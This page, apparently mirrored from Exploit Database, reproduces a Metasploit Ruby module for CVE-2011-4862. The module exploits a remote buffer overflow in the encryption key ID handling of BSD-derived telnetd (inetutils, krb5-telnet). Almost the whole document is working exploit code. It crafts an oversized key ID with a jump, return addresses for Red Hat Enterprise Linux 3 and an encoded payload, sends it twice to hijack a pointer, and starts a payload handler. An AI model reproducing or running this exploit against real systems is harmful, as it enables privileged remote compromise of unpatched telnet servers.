Linux BSD-derived Telnet Service Encryption Key ID – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-01-14
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/18368/

• ##
  # $Id: $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  	
  	include Msf::Exploit::Remote::Telnet
  	include Msf::Exploit::BruteTargets
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
  			'Description'=> %q{	
  					This module exploits a buffer overflow in the encryption option handler of the
  				Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
  				use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
  				Linux systems running telnetd.
  				},
  			'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					['CVE', '2011-4862'],
  					['OSVDB', '78020'],
  					['BID', '51182'],
  					['URL', 'http://www.exploit-db.com/exploits/18280/']
  				],
  			'Privileged' => true,
  			'Platform' => 'linux',
  			'Payload'=>
  				{
  					'Space' => 200,
  					'BadChars'=> "\x00",
  					'DisableNops' => true,
  				},
   
  			'Targets'=>
  				[
  					[ 'Automatic',{ } ],
  					[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 23 2011'))
  	end
  
  	def exploit_target(t)
  
  		connect
  		banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
  		print_status(banner_sanitized) if datastore['VERBOSE']
  
  		enc_init= "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
  		enc_keyid = "\xff\xfa\x26\x07"
  		end_suboption = "\xff\xf0"
  
  		penc = payload.encoded.gsub("\xff", "\xff\xff")
  		
  		key_id = Rex::Text.rand_text_alphanumeric(400)
  
  		key_id[ 0, 2] = "\xeb\x76"
  		key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
  		key_id[76, 4] = [ t['Ret'] ].pack("V")
  
  		# Some of these bytes can get mangled, jump over them
  		key_id[80,40]= "\x41" * 40
  
  		# Insert the real payload
  		key_id[120, penc.length] = penc
  
  		# Create the Key ID command
  		sploit = enc_keyid + key_id + end_suboption
  
  		# Initiate encryption
  		sock.put(enc_init)
  
  		# Wait for a successful response
  		loop do
  			data = sock.get_once(-1, 5) rescue nil
  			if not data
  				raise RuntimeError, "This system does not support encryption"
  			end
  			break if data.index("\xff\xfa\x26\x02\x01")
  		end
  
  		# The first request smashes the pointer
  		print_status("Sending first payload")
  		sock.put(sploit) 
  		
  		# Make sure the server replied to the first request
  		data = sock.get_once(-1, 5)
  		unless data
  			print_status("Server did not respond to first payload")
  			return
  		end
  
  		# Some delay between each request seems necessary in some cases
  		::IO.select(nil, nil, nil, 0.5)
  
  		# The second request results in the pointer being called
  		print_status("Sending second payload...")
  		sock.put(sploit)
  		handler
  
  		::IO.select(nil, nil, nil, 0.5)
  		disconnect
  	end
  
  end